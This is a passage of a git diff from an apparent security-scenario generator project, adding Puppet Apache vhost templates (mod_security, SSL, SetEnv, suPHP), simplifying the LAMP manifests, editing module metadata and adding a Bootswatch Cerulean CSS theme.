-%> + SecRuleRemoveById <%= rule %> +<% end -%> + +<% end -%> +<% end -%> +<% ips = Array(@modsec_disable_ips).join(',') %> +<% if ips != '' %> + SecRule REMOTE_ADDR "<%= ips %>" "nolog,allow,id:1234123455" + SecAction "phase:2,pass,nolog,id:1234123456" +<% end -%> +<% if @_modsec_disable_msgs.is_a?(Hash) -%> +<% @_modsec_disable_msgs.each do |location,rules| -%> + > +<% Array(rules).each do |rule| -%> + SecRuleRemoveByMsg "<%= rule %>" +<% end -%> + +<% end -%> +<% end -%> +<% if @_modsec_disable_tags.is_a?(Hash) -%> +<% @_modsec_disable_tags.each do |location,rules| -%> + > +<% Array(rules).each do |rule| -%> + SecRuleRemoveByTag "<%= rule %>" +<% end -%> + +<% end -%> +<% end -%> +<% if @modsec_body_limit -%> + SecRequestBodyLimit <%= @modsec_body_limit %> +<% end -%> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_serveralias.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_serveralias.erb new file mode 100644 index 000000000..e08a55e32 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_serveralias.erb @@ -0,0 +1,7 @@ +<% if @serveraliases and ! @serveraliases.empty? -%> + + ## Server aliases + <%- Array(@serveraliases).each do |serveralias| -%> + ServerAlias <%= serveralias %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_serversignature.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_serversignature.erb new file mode 100644 index 000000000..ff13aaf45 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_serversignature.erb @@ -0,0 +1 @@ + ServerSignature Off diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_setenv.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_setenv.erb new file mode 100644 index 000000000..476a6b19c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_setenv.erb @@ -0,0 +1,17 @@ +<% if @setenv and ! @setenv.empty? -%> + + ## SetEnv/SetEnvIf for environment variables + <%- Array(@setenv).each do |envvar| -%> + SetEnv <%= envvar %> + <%- end -%> +<% end -%> +<% if @setenvif and ! @setenvif.empty? -%> + <%- Array(@setenvif).each do |envifvar| -%> + SetEnvIf <%= envifvar %> + <%- end -%> +<% end -%> +<% if @setenvifnocase and ! @setenvifnocase.empty? -%> + <%- Array(@setenvifnocase).each do |envifncvar| -%> + SetEnvIfNoCase <%= envifncvar %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_ssl.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_ssl.erb new file mode 100644 index 000000000..e70efebda --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_ssl.erb @@ -0,0 +1,55 @@ +<% if @ssl -%> + + ## SSL directives + SSLEngine on + SSLCertificateFile "<%= @ssl_cert %>" + SSLCertificateKeyFile "<%= @ssl_key %>" + <%- if @ssl_chain -%> + SSLCertificateChainFile "<%= @ssl_chain %>" + <%- end -%> + <%- if @ssl_certs_dir && @ssl_certs_dir != '' -%> + SSLCACertificatePath "<%= @ssl_certs_dir %>" + <%- end -%> + <%- if @ssl_ca -%> + SSLCACertificateFile "<%= @ssl_ca %>" + <%- end -%> + <%- if @ssl_crl_path -%> + SSLCARevocationPath "<%= @ssl_crl_path %>" + <%- end -%> + <%- if @ssl_crl -%> + SSLCARevocationFile "<%= @ssl_crl %>" + <%- end -%> + <%- if @ssl_crl_check && scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + SSLCARevocationCheck "<%= @ssl_crl_check %>" + <%- end -%> + <%- if @ssl_protocol -%> + SSLProtocol <%= [@ssl_protocol].flatten.compact.join(' ') %> + <%- end -%> + <%- if @ssl_cipher -%> + SSLCipherSuite <%= @ssl_cipher %> + <%- end -%> + <%- if @ssl_honorcipherorder -%> + SSLHonorCipherOrder <%= @ssl_honorcipherorder %> + <%- end -%> + <%- if @ssl_verify_client -%> + SSLVerifyClient <%= @ssl_verify_client %> + <%- end -%> + <%- if @ssl_verify_depth -%> + SSLVerifyDepth <%= @ssl_verify_depth %> + <%- end -%> + <%- if @ssl_options -%> + SSLOptions <%= Array(@ssl_options).join(' ') %> + <%- end -%> + <%- if @ssl_openssl_conf_cmd -%> + SSLOpenSSLConfCmd <%= @ssl_openssl_conf_cmd %> + <%- end -%> + <%- if (not @ssl_stapling.nil?) && (scope.function_versioncmp([@apache_version, '2.4']) >= 0) -%> + SSLUseStapling <%= scope.function_bool2httpd([@ssl_stapling]) %> + <%- end -%> + <%- if @ssl_stapling_timeout && scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + SSLStaplingResponderTimeout <%= @ssl_stapling_timeout %> + <%- end -%> + <%- if (not @ssl_stapling_return_errors.nil?) && (scope.function_versioncmp([@apache_version, '2.4']) >= 0) -%> + SSLStaplingReturnResponderErrors <%= scope.function_bool2httpd([@ssl_stapling_return_errors]) %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_sslproxy.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_sslproxy.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_sslproxy.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_suexec.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_suexec.erb new file mode 100644 index 000000000..8a7ae0f17 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_suexec.erb @@ -0,0 +1,4 @@ +<% if @suexec_user_group -%> + + SuexecUserGroup <%= @suexec_user_group %> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_suphp.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_suphp.erb new file mode 100644 index 000000000..e394b6f94 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_suphp.erb @@ -0,0 +1,11 @@ +<% if @suphp_engine == 'on' -%> + <%- if @suphp_addhandler -%> + suPHP_AddHandler <%= @suphp_addhandler %> + <%- end -%> + <%- if @suphp_engine -%> + suPHP_Engine <%= @suphp_engine %> + <%- end -%> + <%- if @suphp_configpath -%> + suPHP_ConfigPath "<%= @suphp_configpath %>" + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_wsgi.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_wsgi.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_wsgi.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_wsgi.erb diff --git a/modules/services/unix/http/lamp/lamp.pp b/modules/services/unix/http/lamp/lamp.pp index a71ac624e..274677dc5 100644 --- a/modules/services/unix/http/lamp/lamp.pp +++ b/modules/services/unix/http/lamp/lamp.pp @@ -1,11 +1,2 @@ -stage { 'preinstall': - before => Stage['main'] -} -class apt_get_update { - exec { '/usr/bin/apt-get -y update': } -} -class { 'apt_get_update': - stage => preinstall -} - -include lamp +include ::lamp::apache +include ::lamp::mysql \ No newline at end of file diff --git a/modules/services/unix/http/lamp/manifests/apache.pp b/modules/services/unix/http/lamp/manifests/apache.pp index 3d5f4c02c..278d25e7e 100644 --- a/modules/services/unix/http/lamp/manifests/apache.pp +++ b/modules/services/unix/http/lamp/manifests/apache.pp @@ -3,6 +3,6 @@ # class lamp::apache { -class {'::apache': mpm_module => 'prefork',} -include ::apache::mod::php + class {'::apache': mpm_module => 'prefork',} + include ::apache::mod::php } diff --git a/modules/services/unix/http/lamp/manifests/init.pp b/modules/services/unix/http/lamp/manifests/init.pp deleted file mode 100644 index 4c09be44f..000000000 --- a/modules/services/unix/http/lamp/manifests/init.pp +++ /dev/null @@ -1,46 +0,0 @@ -# == Class: lamp -# -# The main lamp class created for automatically deploy LAMP (Linux/Apache/MySQL/PHP) complex environment on web server. -# This class uses additional puppetlabs-apache and puppetlabs-mysql modules. -# All next possible required environment configuration changes must be done in this parent apache and mysql modules itself. -# -# === Parameters -# -# List of classes runs from lamp -# -# include ::lamp::apache -# Deploy apache web server, with configured php -# -# include ::lamp::mysql -# Deploy mysql database server -# -# Notes: any from this components could be commented if you don't need to install all of them -# -# -# === Examples -# -# To get LAMP installed on your "mywebserver.dev.local" node lamp class needs to be added in site.pp configuration file: -# -# node 'mywebserver.dev.local' { -# include lamp -# } -# -# -# === Authors -# -# Alexander Golovin, https://github.com/alexggolovin -# -# === Copyright -# -# Copyright 2015 alexggolovin -# - -class lamp { - -include ::lamp::apache -include ::lamp::mysql - -} - - - diff --git a/modules/services/unix/http/lamp/secgen_metadata.xml b/modules/services/unix/http/lamp/secgen_metadata.xml index 9352c49e9..24a75159c 100644 --- a/modules/services/unix/http/lamp/secgen_metadata.xml +++ b/modules/services/unix/http/lamp/secgen_metadata.xml @@ -33,4 +33,9 @@ php + + + Kali + + \ No newline at end of file diff --git a/modules/services/unix/http/nginx/secgen_metadata.xml b/modules/services/unix/http/nginx/secgen_metadata.xml index 624ddc9c4..84ab1f4ff 100644 --- a/modules/services/unix/http/nginx/secgen_metadata.xml +++ b/modules/services/unix/http/nginx/secgen_metadata.xml @@ -24,6 +24,9 @@ httpd + + Kali + update diff --git a/modules/services/unix/http/parameterised_website/files/themes/cerulean.min.css b/modules/services/unix/http/parameterised_website/files/themes/cerulean.min.css new file mode 100644 index 000000000..9b41f066d --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/cerulean.min.css @@ -0,0 +1,9194 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +:root { + --blue: #033C73; + --indigo: #6610f2; + --purple: #6f42c1; + --pink: #e83e8c; + --red: #C71C22; + --orange: #fd7e14; + --yellow: #DD5600; + --green: #73A839; + --teal: #20c997; + --cyan: #2FA4E7; + --white: #fff; + --gray: #868e96; + --gray-dark: #343a40; + --primary: #2FA4E7; + --secondary: #e9ecef; + --success: #73A839; + --info: #033C73; + --warning: #DD5600; + --danger: #C71C22; + --light: #f8f9fa; + --dark: #343a40; + --breakpoint-xs: 0; + --breakpoint-sm: 576px; + --breakpoint-md: 768px; + --breakpoint-lg: 992px; + --breakpoint-xl: 1200px; + --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace +} + +*, *::before, *::after { + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +html { + font-family: sans-serif; + line-height: 1.15; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; + -ms-overflow-style: scrollbar; + -webkit-tap-highlight-color: transparent +} + +@-ms-viewport { + width: device-width +} + +article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section { + display: block +} + +body { + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #868e96; + text-align: left; + background-color: #fff +} + +[tabindex="-1"]:focus { + outline: 0 !important +} + +hr { + -webkit-box-sizing: content-box; + box-sizing: content-box; + height: 0; + overflow: visible +} + +h1, h2, h3, h4, h5, h6 { + margin-top: 0; + margin-bottom: 0.5rem +} + +p { + margin-top: 0; + margin-bottom: 1rem +} + +abbr[title], abbr[data-original-title] { + text-decoration: underline; + -webkit-text-decoration: underline dotted; + text-decoration: underline dotted; + cursor: help; + border-bottom: 0 +} + +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit +} + +ol, ul, dl { + margin-top: 0; + margin-bottom: 1rem +} + +ol ol, ul ul, ol ul, ul ol { + margin-bottom: 0 +} + +dt { + font-weight: 700 +} + +dd { + margin-bottom: .5rem; + margin-left: 0 +} + +blockquote { + margin: 0 0 1rem +} + +dfn { + font-style: italic +} + +b, strong { + font-weight: bolder +} + +small { + font-size: 80% +} + +sub, sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline +} + +sub { + bottom: -.25em +} + +sup { + top: -.5em +} + +a { + color: #2FA4E7; + text-decoration: none; + background-color: transparent; + -webkit-text-decoration-skip: objects +} + +a:hover { + color: #157ab5; + text-decoration: underline +} + +a:not([href]):not([tabindex]) { + color: inherit; + text-decoration: none +} + +a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus { + color: inherit; + text-decoration: none +} + +a:not([href]):not([tabindex]):focus { + outline: 0 +} + +pre, code, kbd, samp { + font-family: monospace, monospace; + font-size: 1em +} + +pre { + margin-top: 0; + margin-bottom: 1rem; + overflow: auto; + -ms-overflow-style: scrollbar +} + +figure { + margin: 0 0 1rem +} + +img { + vertical-align: middle; + border-style: none +} + +svg:not(:root) { + overflow: hidden +} + +table { + border-collapse: collapse +} + +caption { + padding-top: 0.75rem; + padding-bottom: 0.75rem; + color: #868e96; + text-align: left; + caption-side: bottom +} + +th { + text-align: inherit +} + +label { + display: inline-block; + margin-bottom: .5rem +} + +button { + border-radius: 0 +} + +button:focus { + outline: 1px dotted; + outline: 5px auto -webkit-focus-ring-color +} + +input, button, select, optgroup, textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit +} + +button, input { + overflow: visible +} + +button, select { + text-transform: none +} + +button, html [type="button"], [type="reset"], [type="submit"] { + -webkit-appearance: button +} + +button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { + padding: 0; + border-style: none +} + +input[type="radio"], input[type="checkbox"] { + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding: 0 +} + +input[type="date"], input[type="time"], input[type="datetime-local"], input[type="month"] { + -webkit-appearance: listbox +} + +textarea { + overflow: auto; + resize: vertical +} + +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0 +} + +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal +} + +progress { + vertical-align: baseline +} + +[type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { + height: auto +} + +[type="search"] { + outline-offset: -2px; + -webkit-appearance: none +} + +[type="search"]::-webkit-search-cancel-button, [type="search"]::-webkit-search-decoration { + -webkit-appearance: none +} + +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button +} + +output { + display: inline-block +} + +summary { + display: list-item; + cursor: pointer +} + +template { + display: none +} + +[hidden] { + display: none !important +} + +h1, h2, h3, h4, h5, h6, .h1, .h2, .h3, .h4, .h5, .h6 { + margin-bottom: 0.5rem; + font-family: inherit; + font-weight: 500; + line-height: 1.2; + color: #2FA4E7 +} + +h1, .h1 { + font-size: 2.5rem +} + +h2, .h2 { + font-size: 2rem +} + +h3, .h3 { + font-size: 1.75rem +} + +h4, .h4 { + font-size: 1.5rem +} + +h5, .h5 { + font-size: 1.25rem +} + +h6, .h6 { + font-size: 1rem +} + +.lead { + font-size: 1.25rem; + font-weight: 300 +} + +.display-1 { + font-size: 6rem; + font-weight: 300; + line-height: 1.2 +} + +.display-2 { + font-size: 5.5rem; + font-weight: 300; + line-height: 1.2 +} + +.display-3 { + font-size: 4.5rem; + font-weight: 300; + line-height: 1.2 +} + +.display-4 { + font-size: 3.5rem; + font-weight: 300; + line-height: 1.2 +} + +hr { + margin-top: 1rem; + margin-bottom: 1rem; + border: 0; + border-top: 1px solid rgba(0, 0, 0, 0.1) +} + +small, .small { + font-size: 80%; + font-weight: 400 +} + +mark, .mark { + padding: 0.2em; + background-color: #fcf8e3 +} + +.list-unstyled { + padding-left: 0; + list-style: none +} + +.list-inline { + padding-left: 0; + list-style: none +} + +.list-inline-item { + display: inline-block +} + +.list-inline-item:not(:last-child) { + margin-right: 0.5rem +} + +.initialism { + font-size: 90%; + text-transform: uppercase +} + +.blockquote { + margin-bottom: 1rem; + font-size: 1.25rem +} + +.blockquote-footer { + display: block; + font-size: 80%; + color: #868e96 +} + +.blockquote-footer::before { + content: "\2014 \00A0" +} + +.img-fluid { + max-width: 100%; + height: auto +} + +.img-thumbnail { + padding: 0.25rem; + background-color: #fff; + border: 1px solid #dee2e6; + border-radius: 0.25rem; + max-width: 100%; + height: auto +} + +.figure { + display: inline-block +} + +.figure-img { + margin-bottom: 0.5rem; + line-height: 1 +} + +.figure-caption { + font-size: 90%; + color: #868e96 +} + +code, kbd, pre, samp { + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace +} + +code { + font-size: 87.5%; + color: #e83e8c; + word-break: break-word +} + +a > code { + color: inherit +} + +kbd { + padding: 0.2rem 0.4rem; + font-size: 87.5%; + color: #fff; + background-color: #212529; + border-radius: 0.2rem +} + +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: 700 +} + +pre { + display: block; + font-size: 87.5%; + color: #212529 +} + +pre code { + font-size: inherit; + color: inherit; + word-break: normal +} + +.pre-scrollable { + max-height: 340px; + overflow-y: scroll +} + +.container { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto +} + +@media (min-width: 576px) { + .container { + max-width: 540px + } +} + +@media (min-width: 768px) { + .container { + max-width: 720px + } +} + +@media (min-width: 992px) { + .container { + max-width: 960px + } +} + +@media (min-width: 1200px) { + .container { + max-width: 1140px + } +} + +.container-fluid { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto +} + +.row { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -15px; + margin-left: -15px +} + +.no-gutters { + margin-right: 0; + margin-left: 0 +} + +.no-gutters > .col, .no-gutters > [class*="col-"] { + padding-right: 0; + padding-left: 0 +} + +.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col, .col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm, .col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md, .col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg, .col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl, .col-xl-auto { + position: relative; + width: 100%; + min-height: 1px; + padding-right: 15px; + padding-left: 15px +} + +.col { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% +} + +.col-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none +} + +.col-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.3333333333%; + flex: 0 0 8.3333333333%; + max-width: 8.3333333333% +} + +.col-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.6666666667%; + flex: 0 0 16.6666666667%; + max-width: 16.6666666667% +} + +.col-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% +} + +.col-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.3333333333%; + flex: 0 0 33.3333333333%; + max-width: 33.3333333333% +} + +.col-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.6666666667%; + flex: 0 0 41.6666666667%; + max-width: 41.6666666667% +} + +.col-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% +} + +.col-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.3333333333%; + flex: 0 0 58.3333333333%; + max-width: 58.3333333333% +} + +.col-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.6666666667%; + flex: 0 0 66.6666666667%; + max-width: 66.6666666667% +} + +.col-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% +} + +.col-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.3333333333%; + flex: 0 0 83.3333333333%; + max-width: 83.3333333333% +} + +.col-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.6666666667%; + flex: 0 0 91.6666666667%; + max-width: 91.6666666667% +} + +.col-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% +} + +.order-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 +} + +.order-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 +} + +.order-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 +} + +.order-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 +} + +.order-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 +} + +.order-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 +} + +.order-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 +} + +.order-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 +} + +.order-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 +} + +.order-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 +} + +.order-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 +} + +.order-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 +} + +.order-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 +} + +.order-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 +} + +.order-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 +} + +.offset-1 { + margin-left: 8.3333333333% +} + +.offset-2 { + margin-left: 16.6666666667% +} + +.offset-3 { + margin-left: 25% +} + +.offset-4 { + margin-left: 33.3333333333% +} + +.offset-5 { + margin-left: 41.6666666667% +} + +.offset-6 { + margin-left: 50% +} + +.offset-7 { + margin-left: 58.3333333333% +} + +.offset-8 { + margin-left: 66.6666666667% +} + +.offset-9 { + margin-left: 75% +} + +.offset-10 { + margin-left: 83.3333333333% +} + +.offset-11 { + margin-left: 91.6666666667% +} + +@media (min-width: 576px) { + .col-sm { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + + .col-sm-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + + .col-sm-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.3333333333%; + flex: 0 0 8.3333333333%; + max-width: 8.3333333333% + } + + .col-sm-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.6666666667%; + flex: 0 0 16.6666666667%; + max-width: 16.6666666667% + } + + .col-sm-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + + .col-sm-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.3333333333%; + flex: 0 0 33.3333333333%; + max-width: 33.3333333333% + } + + .col-sm-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.6666666667%; + flex: 0 0 41.6666666667%; + max-width: 41.6666666667% + } + + .col-sm-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + + .col-sm-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.3333333333%; + flex: 0 0 58.3333333333%; + max-width: 58.3333333333% + } + + .col-sm-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.6666666667%; + flex: 0 0 66.6666666667%; + max-width: 66.6666666667% + } + + .col-sm-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + + .col-sm-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.3333333333%; + flex: 0 0 83.3333333333%; + max-width: 83.3333333333% + } + + .col-sm-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.6666666667%; + flex: 0 0 91.6666666667%; + max-width: 91.6666666667% + } + + .col-sm-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + + .order-sm-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + + .order-sm-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + + .order-sm-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + + .order-sm-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + + .order-sm-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + + .order-sm-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + + .order-sm-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + + .order-sm-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + + .order-sm-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + + .order-sm-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + + .order-sm-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + + .order-sm-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + + .order-sm-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + + .order-sm-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + + .order-sm-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + + .offset-sm-0 { + margin-left: 0 + } + + .offset-sm-1 { + margin-left: 8.3333333333% + } + + .offset-sm-2 { + margin-left: 16.6666666667% + } + + .offset-sm-3 { + margin-left: 25% + } + + .offset-sm-4 { + margin-left: 33.3333333333% + } + + .offset-sm-5 { + margin-left: 41.6666666667% + } + + .offset-sm-6 { + margin-left: 50% + } + + .offset-sm-7 { + margin-left: 58.3333333333% + } + + .offset-sm-8 { + margin-left: 66.6666666667% + } + + .offset-sm-9 { + margin-left: 75% + } + + .offset-sm-10 { + margin-left: 83.3333333333% + } + + .offset-sm-11 { + margin-left: 91.6666666667% + } +} + +@media (min-width: 768px) { + .col-md { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + + .col-md-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + + .col-md-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.3333333333%; + flex: 0 0 8.3333333333%; + max-width: 8.3333333333% + } + + .col-md-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.6666666667%; + flex: 0 0 16.6666666667%; + max-width: 16.6666666667% + } + + .col-md-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + + .col-md-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.3333333333%; + flex: 0 0 33.3333333333%; + max-width: 33.3333333333% + } + + .col-md-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.6666666667%; + flex: 0 0 41.6666666667%; + max-width: 41.6666666667% + } + + .col-md-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + + .col-md-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.3333333333%; + flex: 0 0 58.3333333333%; + max-width: 58.3333333333% + } + + .col-md-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.6666666667%; + flex: 0 0 66.6666666667%; + max-width: 66.6666666667% + } + + .col-md-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + + .col-md-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.3333333333%; + flex: 0 0 83.3333333333%; + max-width: 83.3333333333% + } + + .col-md-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.6666666667%; + flex: 0 0 91.6666666667%; + max-width: 91.6666666667% + } + + .col-md-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + + .order-md-first { + 